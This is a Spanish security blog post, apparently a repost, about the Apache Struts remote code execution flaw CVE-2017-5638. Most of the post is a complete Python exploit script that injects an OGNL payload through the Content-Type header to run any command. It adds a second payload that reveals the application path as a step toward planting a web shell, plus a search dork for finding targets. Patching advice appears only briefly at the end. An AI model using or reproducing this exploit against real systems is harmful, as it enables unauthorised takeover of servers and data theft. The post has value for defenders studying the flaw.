Exploit RCE para Apache Struts (CVE-2017-5638) o cómo miles de servidores en Internet están en peligro

Ayer de madrugada unos de los feeds chinos que seguimos habitualmente hizo saltar por los aires nuestra actividad llevando casi toda nuestra atención a un PoC/exploit para la vulnerabilidad CVE-2017-5638 que permite RCE (ejecución remota de comandos) en las últimas versiones de Apache Struts. 

El script que os mostramos a continuación, liberado por Nike Zheng (célebre y habitual hostigador de Struts), primero en páginas como Freebuf o Bobao, se aprovecha de un fallo en la función de upload del parser de Jakarta y muestra cómo modificar la cabecera Content-Header para inyectar comandos de sistema operativo cuando se llama a un action:
#!/usr/bin/python
# -*- coding: utf-8 -*-
 
import urllib2
import requests
import httplib

from requests.packages.urllib3.exceptions import InsecureRequestWarning
 
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

#uso: python script.py <url> "<command>"
 
def exploit(url, cmd):
    payload = "Content-Type:%{(#_='multipart/form-data')."
    payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
 
    try:

        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        #request = urllib2.Request(url, headers=headers)
        request = requests.get(url, headers=headers,verify=False)
        #page = urllib2.urlopen(request).read()

    except httplib.IncompleteRead, e:

        request = e.partial

    print(request.text)

    return request

if __name__ == '__main__':

    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")

    else:

        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)

        exploit(url, cmd)

Si lo ejecutáis contra una aplicación vulnerable el resultado será la ejecución remota de comandos con el usuario que ejecuta el servidor. Así de sencillo:


Cualquier búsqueda en Google con un dork 'filetype:action' arroja unos 35 millones de resultados, de los cuales un alto porcentaje es vulnerable... el volumen y la criticidad de los servicios afectados es simplemente ... dramático.
 
Hemos dedicado horas a reportar a empresas, gobiernos, fabricantes e incluso particulares para que parchearan y corrigieran lo antes posible la vulnerabilidad, pero el exploit ya ha saltado a las grandes páginas de 'advisories' y ya se han observado intentos de explotación masivos en Internet, incluso bastante sofisticados con el objetivo de conseguir persistencia o modificaciones como las que nos trae nuestro compi Sebastian Cornejo (curiositysec) que permite obtener el path de la aplicación, paso previo a la subida de una shell al servidor:
def getpath(url):

payload = "Content-Type:%{(#_='multipart/form-data')."
payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#path=(@org.apache.struts2.ServletActionContext@getServletContext().getRealPath(\"/\")))."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.CopyUtils@copy(#path,#ros))."
payload += "(#ros.flush())}"

try:

headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
#request = urllib2.Request(url, headers=headers)
request = requests.get(url, headers=headers,verify=False)
#page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
request = e.partial
 
print("Path App: "+ request.text)

Como veis la criticidad es máxima y la noticia corre como la pólvora y URGE TOMAR CONTRAMEDIDAS LO ANTES POSIBLE:

- actualizar a Apache Struts (2.3.32 / 2.5.10.1 o posteriores) 
- actualizar firmas del IDS/IPS. Por ej. Snort ya incluye reglas en server-apache.rules: SERVER-APACHE Apache Struts remote code execution attempt (SIDs: 41818, 41819)

Fuentes:
- http://www.freebuf.com/vuls/128668.html
- http://bobao.360.cn/learning/detail/3571.html
- http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html#more
- https://packetstormsecurity.com/files/141494/S2-45-poc.py.txt

Via: www.hackplayers.com
Exploit RCE para Apache Struts (CVE-2017-5638) o cómo miles de servidores en Internet están en peligro Exploit RCE para Apache Struts (CVE-2017-5638) o cómo miles de servidores en Internet están en peligro Reviewed by Zion3R on 21:28 Rating: 5